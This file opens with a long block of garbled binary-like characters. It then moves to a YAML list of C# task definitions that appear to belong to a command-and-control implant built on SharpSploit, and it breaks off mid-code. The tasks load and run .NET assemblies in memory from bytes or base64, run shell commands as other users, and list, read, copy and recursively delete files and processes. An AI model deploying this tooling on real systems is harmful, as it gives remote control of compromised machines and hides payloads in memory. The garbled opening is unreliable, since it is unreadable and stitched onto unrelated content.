zmwyN@#Xq{lY{Y5;Y5p-o1x*e}H#82|WY>5|J9jGMJMJ6e#qGCPso5OG;` zE>%O0n{vo5KOEmm#KeeeSYpQxPs-xjq0T3-cWY?a=`J-#SGL<6QrlmeQIYunOY5un zDg;3rR=%DWC+g-+(>XU4>on;L>Jn9E&(~{zh>Rl@>)}zITGIUu*oiKh1cpn%z-g<$ zmb(q~eU6J!e*IW`Eknnv=2`T<+M=T%M;vS-6%;s=ceuP~m-7>?le#!|4NWHTyICNU zA|VUbs;c;MZ#r?g?6HlS3F(Jd;1Zct=s8-Q;z@lN}^EGX;EE1-l2va9S>AHYA zKp572Gb)H`Ol9)ow)$XQ$LXZ3Ke?`Bn4aFc4lUg32i0}-*K=rH$KM$(T*KG#k)9*! zI^N@%KwWLqr9bfoI!;HHFpKMeJQlK0yiQB&=*Au-vTMjIsJu{4$CUx*X@zYO{#8Zr zQooc{?3tW`89$CUofoK#aF?q1L+0i6FNspL$|Ie@!hw$Q1_D zfAHD!`g_{!omzUIua(4be*DdE0Q0moC7vm`mW+e$yHD@jxc1Cp^1sRmwV{X=jA5=) zGuP0lggd$ZGTn&G;M}|2bR^>(+m~nqRKn;lW-`#JvqUIQG)E%T5Po7~h?8%;&SAVP z)5}Q)zCkpFNYWq{6r65FRE|M4)2&8coLBpqtVyDC(q4m2N0E;cDXjyml8;CA;oih4 z6<90<6O)T0$-B#}BZ^*0G&Gnajcwn!g6I|F?#_;0ZuKZ`p_1~w^sMT{&kj<wQ;)NOm_GKwN`0qE9Z&X)4PuD9$I8X(BZ|!Q zhAB~|^ex1x^c4J8+S!sHg5H9ga)$&wUx;P_Y)?XX6rb_3VEYSeYCME;1Bs$1r1CN8 zTbBiJhIbyf3L5`2?<2Lc*WvM;E!_>4p7mwZBd$9TCLr`doy`mSDKd;=M+wi|!nVh1 z@M7-#cpZ0^u?h^ZYBLT}A0WYWP~=4tO~y1qLTZ>9#b;D3{7rKNkd_Yu1g@yeT__zB z=zN*$ev;CZmXU8uQ*I*aS+pJ#(kcj84W zH70qM7NYze&GA3kRI*Y4miJrC-+Mp*BsrPEw=6ej@nOS~!e}AT;9tZOYh}QP>(#}q zJi2HL^QJ@a0uBUDO%IpV>c8b+#Zt!H2XrzJv_Ocq;4PTkPw+C2Ib5Yawa)y9k=EwU zv0s>tn_6|X>)Z%leeV1ZGBbDVXZ?;lvU%pf4<8& zIbe1g$Mx}e1@T0zeOH6-PjzMiqo&hV+IAnDVwduHkqAENxykNUTTtt$6sO*hiM+r% zAn5P)P*-NGfa~tR){eymGVbDWLOrn$MSKjdvK=&ZQGRmvX;=K@G= z6tdPRZ82#nh9xITDeq^aB)b{uu<4JY!m+FPw%UNM<&@>Ho=g?FynCwL_dH03tO?E6 zT4pV&X#X$*_z!s1e3Rg*jJe~%c&2dY7ZMnws~d==g+dYZgUQ35Ans)wUmp^9&r{<4 zXvF%PPj~Tz(t1%T0#z16gv6YnAml{2(0t9?;R!BJTb2_%TwechS*UvQlsm=tgAO1Oqh*fx0Fj6(`s z&}lr36kku=vJ>L=x-sh&bCVmR^SU>BC)-dpQIi$LWV=!ym+OO)=<;h6<AI_x1bZ>r1lN zoS8W@b7tnunKNh3z#haR7`RU3`3x0G4^sM@(x*CK(g|wXiaLt_Q4dX

- /// Gets a directory listing of the current working directory. - /// - /// List of FileSystemEntryResults. - public static SharpSploitResultList GetDirectoryListing() - { - return GetDirectoryListing(GetCurrentDirectory()); - } - - /// - /// Gets a directory listing of a directory. - /// - /// The path of the directory to get a listing of. - /// List of FileSystemEntryResults. - public static SharpSploitResultList GetDirectoryListing(string Path) - { - SharpSploitResultList results = new SharpSploitResultList(); - foreach (string dir in Directory.GetDirectories(Path)) - { - results.Add(new FileSystemEntryResult(dir)); - } - foreach (string file in Directory.GetFiles(Path)) - { - results.Add(new FileSystemEntryResult(file)); - } - return results; - } - } - - /// - /// FileSystemEntryResult represents a file on disk, used with the GetDirectoryListing() function. - /// - public sealed class FileSystemEntryResult : SharpSploitResult - { - public string Name { get; } = ""; - protected internal override IList ResultProperties - { - get - { - return new List - { - new SharpSploitResultProperty - { - Name = "Name", - Value = this.Name - } - }; - } - } - - public FileSystemEntryResult(string Name = "") - { - this.Name = Name; - } - } - - public sealed class GenericObjectResult : SharpSploitResult - { - public object Result { get; } - protected internal override IList ResultProperties - { - get - { - return new List - { - new SharpSploitResultProperty - { - Name = this.Result.GetType().Name, - Value = this.Result - } - }; - } - } - - public GenericObjectResult(object Result) - { - this.Result = Result; - } - } - - /// - /// SharpSploitResultList extends the IList interface for SharpSploitResults to easily - /// format a list of results from various SharpSploit functions. - /// - /// - public class SharpSploitResultList : IList where T : SharpSploitResult - { - private List Results { get; } = new List(); - - public int Count => Results.Count; - public bool IsReadOnly => ((IList)Results).IsReadOnly; - - - private const int PROPERTY_SPACE = 3; - - /// - /// Formats a SharpSploitResultList to a string similar to PowerShell's Format-List function. - /// - /// string - public string FormatList() - { - return this.ToString(); - } - - private string FormatTable() - { - // TODO - return ""; - } - - /// - /// Formats a SharpSploitResultList as a string. Overrides ToString() for convenience. - /// - /// string - public override string ToString() - { - if (this.Results.Count > 0) - { - StringBuilder builder1 = new StringBuilder(); - StringBuilder builder2 = new StringBuilder(); - for (int i = 0; i < this.Results[0].ResultProperties.Count; i++) - { - builder1.Append(this.Results[0].ResultProperties[i].Name); - builder2.Append(new String('-', this.Results[0].ResultProperties[i].Name.Length)); - if (i != this.Results[0].ResultProperties.Count-1) - { - builder1.Append(new String(' ', PROPERTY_SPACE)); - builder2.Append(new String(' ', PROPERTY_SPACE)); - } - } - builder1.AppendLine(); - builder1.AppendLine(builder2.ToString()); - foreach (SharpSploitResult result in this.Results) - { - for (int i = 0; i < result.ResultProperties.Count; i++) - { - SharpSploitResultProperty property = result.ResultProperties[i]; - string ValueString = property.Value.ToString(); - builder1.Append(ValueString); - if (i != result.ResultProperties.Count-1) - { - builder1.Append(new String(' ', Math.Max(1, property.Name.Length + PROPERTY_SPACE - ValueString.Length))); - } - } - builder1.AppendLine(); - } - return builder1.ToString(); - } - return ""; - } - - public T this[int index] { get => Results[index]; set => Results[index] = value; } - - public IEnumerator GetEnumerator() - { - return Results.Cast().GetEnumerator(); - } - - IEnumerator IEnumerable.GetEnumerator() - { - return Results.Cast().GetEnumerator(); - } - - public int IndexOf(T item) - { - return Results.IndexOf(item); - } - - public void Add(T t) - { - Results.Add(t); - } - - public void AddRange(IEnumerable range) - { - Results.AddRange(range); - } - - public void Insert(int index, T item) - { - Results.Insert(index, item); - } - - public void RemoveAt(int index) - { - Results.RemoveAt(index); - } - - public void Clear() - { - Results.Clear(); - } - - public bool Contains(T item) - { - return Results.Contains(item); - } - - public void CopyTo(T[] array, int arrayIndex) - { - Results.CopyTo(array, arrayIndex); - } - - public bool Remove(T item) - { - return Results.Remove(item); - } - } - - /// - /// Abstract class that represents a result from a SharpSploit function. - /// - public abstract class SharpSploitResult - { - protected internal abstract IList ResultProperties { get; } - } - - /// - /// SharpSploitResultProperty represents a property that is a member of a SharpSploitResult's ResultProperties. - /// - public class SharpSploitResultProperty - { - public string Name { get; set; } - public object Value { get; set; } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: - - Name: Path - Value: . - DefaultValue: . - Description: Directory to list. - SuggestedValues: [] - Optional: true - DisplayInCommand: true - FileOption: false - ReferenceSourceLibraries: [] - ReferenceAssemblies: [] - EmbeddedResources: [] -- Name: Assembly - Aliases: [] - Description: Execute a dotnet Assembly EntryPoint. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - NetCore31 - Code: | - using System; - using System.IO; - using System.Linq; - using System.Text; - using System.Collections; - using System.Collections.Generic; - using Reflect = System.Reflection; - - public static class Task - { - public static string Execute(string Assembly, string AssemblyName, string Parameters = "") - { - string output = ""; - try - { - string[] args = SplitCommandLine(Parameters).ToArray(); - - TextWriter realStdOut = Console.Out; - TextWriter realStdErr = Console.Error; - TextWriter stdOutWriter = new StringWriter(); - TextWriter stdErrWriter = new StringWriter(); - Console.SetOut(stdOutWriter); - Console.SetError(stdErrWriter); - - Assem.AssemblyExecute(Assembly, new Object[] { args }); - - Console.Out.Flush(); - Console.Error.Flush(); - Console.SetOut(realStdOut); - Console.SetError(realStdErr); - - output = stdOutWriter.ToString(); - output += stdErrWriter.ToString(); - } - catch (Exception e) { output += e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - return output; - } - - // Credit: https://stackoverflow.com/a/298990 - private static IEnumerable SplitCommandLine(string commandLine) - { - bool inQuotes = false; - - return commandLine.Split(c => - { - if (c == '\"' || c == '\'') - inQuotes = !inQuotes; - - return !inQuotes && c == ' '; - }) - .Select(arg => arg.Trim().TrimMatchingQuotes('\"').TrimMatchingQuotes('\'')) - .Where(arg => !string.IsNullOrEmpty(arg)); - } - - private static IEnumerable Split(this string str, Func controller) - { - int nextPiece = 0; - - for (int c = 0; c < str.Length; c++) - { - if (controller(str[c])) - { - yield return str.Substring(nextPiece, c - nextPiece); - nextPiece = c + 1; - } - } - - yield return str.Substring(nextPiece); - } - - private static string TrimMatchingQuotes(this string input, char quote) - { - if ((input.Length >= 2) && - (input[0] == quote) && (input[input.Length - 1] == quote)) - return input.Substring(1, input.Length - 2); - - return input; - } - } - - /// - /// Assembly is a library for loading .NET assemblies and executing methods contained within them. - /// - public class Assem - { - /// - /// Loads a specified .NET assembly byte array and executes the EntryPoint. - /// - /// The .NET assembly byte array. - /// The arguments to pass to the assembly's EntryPoint. - public static void AssemblyExecute(byte[] AssemblyBytes, Object[] Args = null) - { - if (Args == null) - { - Args = new Object[] { new string[] { } }; - } - Reflect.Assembly assembly = Load(AssemblyBytes); - assembly.EntryPoint.Invoke(null, Args); - } - - /// - /// Loads a specified .NET assembly byte array and executes a specified method within a - /// specified type with specified parameters. - /// - /// The .NET assembly byte array. - /// The name of the type that contains the method to execute. - /// The name of the method to execute. - /// The parameters to pass to the method. - /// GenericObjectResult of the method. - public static GenericObjectResult AssemblyExecute(byte[] AssemblyBytes, String TypeName = "", String MethodName = "Execute", Object[] Parameters = default(Object[])) - { - Reflect.Assembly assembly = Load(AssemblyBytes); - Type type = TypeName == "" ? assembly.GetTypes()[0] : assembly.GetType(TypeName); - Reflect.MethodInfo method = MethodName == "" ? type.GetMethods()[0] : type.GetMethod(MethodName); - var results = method.Invoke(null, Parameters); - return new GenericObjectResult(results); - } - - /// - /// Loads a specified base64-encoded .NET assembly and executes a specified method within a - /// specified type with specified parameters. - /// - /// The base64-encoded .NET assembly byte array. - /// The name of the type that contains the method to execute. - /// The name of the method to execute. - /// The parameters to pass to the method. - /// GenericObjectResult of the method. - public static GenericObjectResult AssemblyExecute(String EncodedAssembly, String TypeName = "", String MethodName = "Execute", Object[] Parameters = default(Object[])) - { - return AssemblyExecute(Convert.FromBase64String(EncodedAssembly), TypeName, MethodName, Parameters); - } - - /// - /// Loads a specified base64-encoded .NET assembly and executes the EntryPoint. - /// - /// The base64-encoded .NET assembly byte array. - /// The arguments to pass to the assembly's EntryPoint. - public static void AssemblyExecute(String EncodedAssembly, Object[] Args = default(Object[])) - { - AssemblyExecute(Convert.FromBase64String(EncodedAssembly), Args); - } - - /// - /// Loads a specified .NET assembly byte array. - /// - /// The .NET assembly byte array. - /// Loaded assembly. - public static Reflect.Assembly Load(byte[] AssemblyBytes) - { - return Reflect.Assembly.Load(AssemblyBytes); - } - - /// - /// Loads a specified .NET assembly byte array. - /// - /// The base64-encoded .NET assembly byte array. - /// Loaded assembly. - public static Reflect.Assembly Load(string EncodedAssembly) - { - return Reflect.Assembly.Load(Convert.FromBase64String(EncodedAssembly)); - } - } - /// - /// GenericObjectResult for listing objects whose type is unknown at compile time. - /// - public sealed class GenericObjectResult : SharpSploitResult - { - public object Result { get; } - protected internal override IList ResultProperties - { - get - { - return new List - { - new SharpSploitResultProperty - { - Name = this.Result.GetType().Name, - Value = this.Result - } - }; - } - } - - public GenericObjectResult(object Result) - { - this.Result = Result; - } - } - - /// - /// SharpSploitResultList extends the IList interface for SharpSploitResults to easily /// format a list of results from various SharpSploit functions. - /// - /// - public class SharpSploitResultList : IList where T : SharpSploitResult - { - private List Results { get; } = new List(); - - public int Count => Results.Count; - public bool IsReadOnly => ((IList)Results).IsReadOnly; - - - private const int PROPERTY_SPACE = 3; - - /// - /// Formats a SharpSploitResultList to a string similar to PowerShell's Format-List function. - /// - /// string - public string FormatList() - { - return this.ToString(); - } - - private string FormatTable() - { - // TODO - return ""; - } - - /// - /// Formats a SharpSploitResultList as a string. Overrides ToString() for convenience. - /// - /// string - public override string ToString() - { - if (this.Results.Count > 0) - { - StringBuilder builder1 = new StringBuilder(); - StringBuilder builder2 = new StringBuilder(); - for (int i = 0; i < this.Results[0].ResultProperties.Count; i++) - { - builder1.Append(this.Results[0].ResultProperties[i].Name); - builder2.Append(new String('-', this.Results[0].ResultProperties[i].Name.Length)); - if (i != this.Results[0].ResultProperties.Count-1) - { - builder1.Append(new String(' ', PROPERTY_SPACE)); - builder2.Append(new String(' ', PROPERTY_SPACE)); - } - } - builder1.AppendLine(); - builder1.AppendLine(builder2.ToString()); - foreach (SharpSploitResult result in this.Results) - { - for (int i = 0; i < result.ResultProperties.Count; i++) - { - SharpSploitResultProperty property = result.ResultProperties[i]; - string ValueString = property.Value.ToString(); - builder1.Append(ValueString); - if (i != result.ResultProperties.Count-1) - { - builder1.Append(new String(' ', Math.Max(1, property.Name.Length + PROPERTY_SPACE - ValueString.Length))); - } - } - builder1.AppendLine(); - } - return builder1.ToString(); - } - return ""; - } - - public T this[int index] { get => Results[index]; set => Results[index] = value; } - - public IEnumerator GetEnumerator() - { - return Results.Cast().GetEnumerator(); - } - - IEnumerator IEnumerable.GetEnumerator() - { - return Results.Cast().GetEnumerator(); - } - - public int IndexOf(T item) - { - return Results.IndexOf(item); - } - - public void Add(T t) - { - Results.Add(t); - } - - public void AddRange(IEnumerable range) - { - Results.AddRange(range); - } - - public void Insert(int index, T item) - { - Results.Insert(index, item); - } - - public void RemoveAt(int index) - { - Results.RemoveAt(index); - } - - public void Clear() - { - Results.Clear(); - } - - public bool Contains(T item) - { - return Results.Contains(item); - } - - public void CopyTo(T[] array, int arrayIndex) - { - Results.CopyTo(array, arrayIndex); - } - - public bool Remove(T item) - { - return Results.Remove(item); - } - } - - /// - /// Abstract class that represents a result from a SharpSploit function. - /// - public abstract class SharpSploitResult - { - protected internal abstract IList ResultProperties { get; } - } - - /// - /// SharpSploitResultProperty represents a property that is a member of a SharpSploitResult's ResultProperties. - /// - public class SharpSploitResultProperty - { - public string Name { get; set; } - public object Value { get; set; } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: - - Name: Assembly - Value: '' - DefaultValue: '' - Description: The Assembly to execute. - SuggestedValues: [] - Optional: false - DisplayInCommand: false - FileOption: true - - Name: AssemblyName - Value: '' - DefaultValue: '' - Description: Name of the assembly. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - - Name: Parameters - Value: '' - DefaultValue: '' - Description: The command-line parameters to pass to the assembly's EntryPoint. - SuggestedValues: [] - Optional: true - DisplayInCommand: true - FileOption: false - ReferenceSourceLibraries: [] - ReferenceAssemblies: [] - EmbeddedResources: [] -- Name: ShellCmd - Aliases: [] - Description: Execute a Shell command using "cmd.exe /c" - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - NetCore31 - Code: | - using System; - using System.Text; - using System.Diagnostics; - - public static class Task - { - public static string Execute(string ShellCommand) - { - try - { - return Shell.ShellCmdExecute(ShellCommand); - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - - - /// - - /// Shell is a library for executing shell commands. - - /// - - public class Shell - - { - /// - /// Executes a specified Shell command, optionally with an alternative username and password. - /// Equates to `ShellExecuteWithPath(ShellCommand, "~")`. - /// - /// The ShellCommand to execute, including any arguments. - /// Optional alternative username to execute ShellCommand as. - /// Optional alternative Domain of the username to execute ShellCommand as. - /// Optional password to authenticate the username to execute the ShellCommand as. - /// Ouput of the ShellCommand. - public static string ShellExecute(string ShellCommand, string Username = "", string Domain = "", string Password = "") - { - if (Environment.OSVersion.Platform == PlatformID.Unix || Environment.OSVersion.Platform == PlatformID.MacOSX) - { - return ShellExecuteWithPath(ShellCommand, "/bin/", Username, Domain, Password); - } - else if (Environment.OSVersion.Platform.ToString().Contains("Win32")) - { - return ShellExecuteWithPath(ShellCommand, "C:\\Windows\\System32\\", Username, Domain, Password); - } - return ShellExecuteWithPath(ShellCommand, "~", Username, Domain, Password); - } - - /// - /// Executes a specified Shell command using cmd.exe, optionally with an alternative username and password. - /// Equates to `ShellExecute("cmd.exe /c " + ShellCommand)`. - /// - /// The ShellCommand to execute, including any arguments. - /// Optional alternative username to execute ShellCommand as. - /// Optional alternative Domain of the username to execute ShellCommand as. - /// Optional password to authenticate the username to execute the ShellCommand as. - /// Ouput of the ShellCommand. - public static string ShellCmdExecute(string ShellCommand, string Username = "", string Domain = "", string Password = "") - { - if (Environment.OSVersion.Platform == PlatformID.Unix || Environment.OSVersion.Platform == PlatformID.MacOSX) - { - return ShellExecute("bash -c " + ShellCommand, Username, Domain, Password); - } - else if (Environment.OSVersion.Platform.ToString().Contains("Win32")) - { - return ShellExecute("cmd.exe /c " + ShellCommand, Username, Domain, Password); - } - return ShellExecute("cmd.exe /c " + ShellCommand, Username, Domain, Password); - } - - /// - /// Executes a specified Shell command from a specified directory, optionally with an alternative username and password. - /// - /// The ShellCommand to execute, including any arguments. - /// The Path of the directory from which to execute the ShellCommand. - /// Optional alternative username to execute ShellCommand as. - /// Optional alternative Domain of the username to execute ShellCommand as. - /// Optional password to authenticate the username to execute the ShellCommand as. - /// Output of the ShellCommand. - public static string ShellExecuteWithPath(string ShellCommand, string Path, string Username = "", string Domain = "", string Password = "") - { - if (ShellCommand == null || ShellCommand == "") return ""; - - string ShellCommandName = ShellCommand.Split(' ')[0]; - string ShellCommandArguments = ""; - if (ShellCommand.Contains(" ")) - { - ShellCommandArguments = ShellCommand.Replace(ShellCommandName + " ", ""); - } - - Process shellProcess = new Process(); - if (Username != "") - { - shellProcess.StartInfo.UserName = Username; - shellProcess.StartInfo.Domain = Domain; - System.Security.SecureString SecurePassword = new System.Security.SecureString(); - foreach (char c in Password) - { - SecurePassword.AppendChar(c); - } - shellProcess.StartInfo.Password = SecurePassword; - } - shellProcess.StartInfo.FileName = ShellCommandName; - shellProcess.StartInfo.Arguments = ShellCommandArguments; - shellProcess.StartInfo.WorkingDirectory = Path; - shellProcess.StartInfo.UseShellExecute = false; - shellProcess.StartInfo.CreateNoWindow = true; - shellProcess.StartInfo.RedirectStandardOutput = true; - shellProcess.StartInfo.RedirectStandardError = true; - - var output = new StringBuilder(); - shellProcess.OutputDataReceived += (sender, args) => { output.AppendLine(args.Data); }; - shellProcess.ErrorDataReceived += (sender, args) => { output.AppendLine(args.Data); }; - - shellProcess.Start(); - - shellProcess.BeginOutputReadLine(); - shellProcess.BeginErrorReadLine(); - shellProcess.WaitForExit(); - - return output.ToString().TrimEnd(); - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: - - Name: ShellCommand - Value: whoami - DefaultValue: '' - Description: The ShellCommand to execute. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - ReferenceSourceLibraries: [] - ReferenceAssemblies: [] - EmbeddedResources: [] -- Name: Shell - Aliases: [] - Description: Execute a Shell command. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - NetCore31 - Code: | - using System; - using System.Text; - using System.Diagnostics; - - public static class Task - { - public static string Execute(string ShellCommand) - { - try - { - return Shell.ShellExecute(ShellCommand); - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - - /// - /// Shell is a library for executing shell commands. - /// - - public class Shell - { - /// - /// Executes a specified Shell command, optionally with an alternative username and password. - /// - /// The ShellCommand to execute, including any arguments. - /// Optional alternative username to execute ShellCommand as. - /// Optional alternative Domain of the username to execute ShellCommand as. - /// Optional password to authenticate the username to execute the ShellCommand as. - /// Ouput of the ShellCommand. - public static string ShellExecute(string ShellCommand, string Username = "", string Domain = "", string Password = "") - { - if (Environment.OSVersion.Platform == PlatformID.Unix || Environment.OSVersion.Platform == PlatformID.MacOSX) - { - return ShellExecuteWithPath(ShellCommand, "/bin/", Username, Domain, Password); - } - else if (Environment.OSVersion.Platform.ToString().Contains("Win32")) - { - return ShellExecuteWithPath(ShellCommand, "C:\\Windows\\System32\\", Username, Domain, Password); - } - return ShellExecuteWithPath(ShellCommand, "~", Username, Domain, Password); - } - - /// - /// Executes a specified Shell command from a specified directory, optionally with an alternative username and password. - /// - /// The ShellCommand to execute, including any arguments. - /// The Path of the directory from which to execute the ShellCommand. - /// Optional alternative username to execute ShellCommand as. - /// Optional alternative Domain of the username to execute ShellCommand as. - /// Optional password to authenticate the username to execute the ShellCommand as. - /// Output of the ShellCommand. - public static string ShellExecuteWithPath(string ShellCommand, string Path, string Username = "", string Domain = "", string Password = "") - { - if (ShellCommand == null || ShellCommand == "") return ""; - - string ShellCommandName = ShellCommand.Split(' ')[0]; - string ShellCommandArguments = ""; - if (ShellCommand.Contains(" ")) - { - ShellCommandArguments = ShellCommand.Replace(ShellCommandName + " ", ""); - } - - Process shellProcess = new Process(); - if (Username != "") - { - shellProcess.StartInfo.UserName = Username; - shellProcess.StartInfo.Domain = Domain; - System.Security.SecureString SecurePassword = new System.Security.SecureString(); - foreach (char c in Password) - { - SecurePassword.AppendChar(c); - } - shellProcess.StartInfo.Password = SecurePassword; - } - shellProcess.StartInfo.FileName = ShellCommandName; - shellProcess.StartInfo.Arguments = ShellCommandArguments; - shellProcess.StartInfo.WorkingDirectory = Path; - shellProcess.StartInfo.UseShellExecute = false; - shellProcess.StartInfo.CreateNoWindow = true; - shellProcess.StartInfo.RedirectStandardOutput = true; - shellProcess.StartInfo.RedirectStandardError = true; - - var output = new StringBuilder(); - shellProcess.OutputDataReceived += (sender, args) => { output.AppendLine(args.Data); }; - shellProcess.ErrorDataReceived += (sender, args) => { output.AppendLine(args.Data); }; - - shellProcess.Start(); - - shellProcess.BeginOutputReadLine(); - shellProcess.BeginErrorReadLine(); - shellProcess.WaitForExit(); - - return output.ToString().TrimEnd(); - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: - - Name: ShellCommand - Value: whoami - DefaultValue: '' - Description: The ShellCommand to execute. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - ReferenceSourceLibraries: [] - ReferenceAssemblies: [] - EmbeddedResources: [] -- Name: WhoAmI - Aliases: [] - Description: Gets the username of the currently used/impersonated token. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - NetCore31 - Code: | - using System; - - public static class Task - { - public static string Execute() - { - try - { - return Environment.UserDomainName + "\\" + Environment.UserName; - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: [] - ReferenceSourceLibraries: [] - ReferenceAssemblies: [] - EmbeddedResources: [] -- Name: ChangeDirectory - Aliases: - - cd - Description: Change the current directory. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - NetCore31 - Code: | - using System; - using System.IO; - - public static class Task - { - public static string Execute(string DirectoryName) - { - try - { - Directory.SetCurrentDirectory(DirectoryName); - return Directory.GetCurrentDirectory(); - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: - - Name: Directory - Value: . - DefaultValue: '' - Description: Directory to change to. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - ReferenceSourceLibraries: [] - ReferenceAssemblies: [] - EmbeddedResources: [] -- Name: ReadTextFile - Aliases: - - cat - Description: Read a text file on disk. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - NetCore31 - Code: | - using System; - using System.IO; - - public static class Task - { - public static string Execute(string Path) - { - try - { - return File.ReadAllText(Path); - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: - - Name: Path - Value: '' - DefaultValue: '' - Description: Path to the file. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - ReferenceSourceLibraries: [] - ReferenceAssemblies: [] - EmbeddedResources: [] -- Name: CreateDirectory - Aliases: - - mkdir - Description: Creates all directories and subdirectories in the specified path unless they already exist. - Author: - Name: Daniel Duggan - Handle: _RastaMouse - Link: https://twitter.com/_RastaMouse - Help: - Language: CSharp - CompatibleDotNetVersions: - - NetCore31 - Code: | - using System; - using System.IO; - - public static class Task - { - public static string Execute(string Path) - { - try - { - var directory = Directory.CreateDirectory(Path); - return directory.FullName + " created."; - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: - - Name: Path - Value: '' - DefaultValue: '' - Description: The directory to create. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - ReferenceSourceLibraries: [] - ReferenceAssemblies: [] - EmbeddedResources: [] -- Name: Delete - Aliases: - - rm - - del - Description: Delete a file or directory. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - NetCore31 - Code: | - using System; - using System.IO; - - public static class Task - { - public static string Execute(string Path) - { - try - { - if (File.Exists(Path)) - { - File.Delete(Path); - return $"File {Path} deleted."; - } - else if (Directory.Exists(Path)) - { - Directory.Delete(Path, true); - return $"Directory {Path} deleted."; - } - else - { - return $"{Path} does not exist."; - } - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: - - Name: Path - Value: '' - DefaultValue: '' - Description: The path of the file or directory to delete. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - ReferenceSourceLibraries: [] - ReferenceAssemblies: [] - EmbeddedResources: [] -- Name: Copy - Aliases: - - cp - Description: Copy a file from one location to another. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - NetCore31 - Code: | - using System; - using System.IO; - - public static class Task - { - public static string Execute(string Source, string Destination) - { - try - { - File.Copy(Source, Destination); - return "Successfully copied file from: " + Source + " to: " + Destination; - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: - - Name: Source - Value: '' - DefaultValue: '' - Description: Source file to copy - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - - Name: Destination - Value: . - DefaultValue: '' - Description: Destination to copy file to. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - ReferenceSourceLibraries: [] - ReferenceAssemblies: [] - EmbeddedResources: [] -- Name: ProcessList - Aliases: - - ps - Description: Get a list of currently running processes. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - NetCore31 - Code: | - using System; - using System.Linq; - using System.Text; - using System.Diagnostics; - using System.Collections; - using System.Collections.Generic; - - public static class Task - { - public static string Execute() - { - try - { - return Host.GetProcessList().ToString(); - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - - public class Host - { - /// - /// Gets a list of running processes on the system. - /// - /// List of ProcessResults. - public static SharpSploitResultList GetProcessList() - { - Process[] processes = Process.GetProcesses(); - SharpSploitResultList results = new SharpSploitResultList(); - foreach (Process process in processes) - { - results.Add(new ProcessResult(process.Id, 0, process.ProcessName)); - } - return results; - } - } - - /// - /// ProcessResult represents a running process, used with the GetProcessList() function. - /// - public sealed class ProcessResult : SharpSploitResult - { - public int Pid { get; } = 0; - public int Ppid { get; } = 0; - public string Name { get; } = ""; - protected internal override IList ResultProperties - { - get - { - return new List - { - new SharpSploitResultProperty - { - Name = "Pid", - Value = this.Pid - }, - new SharpSploitResultProperty - { - Name = "Ppid", - Value = this.Ppid - }, - new SharpSploitResultProperty - { - Name = "Name", - Value = this.Name - } - }; - } - } - - public ProcessResult(int Pid = 0, int Ppid = 0, string Name = "") - { - this.Pid = Pid; - this.Ppid = Ppid; - this.Name = Name; - } - } - - public sealed class GenericObjectResult : SharpSploitResult - { - public object Result { get; } - protected internal override IList ResultProperties - { - get - { - return new List - { - new SharpSploitResultProperty - { - Name = this.Result.GetType().Name, - Value = this.Result - } - }; - } - } - - public GenericObjectResult(object Result) - { - this.Result = Result; - } - } - - /// - /// SharpSploitResultList extends the IList interface for SharpSploitResults to easily - /// format a list of results from various SharpSploit functions. - /// - /// - public class SharpSploitResultList : IList where T : SharpSploitResult - { - private List Results { get; } = new List(); - - public int Count => Results.Count; - public bool IsReadOnly => 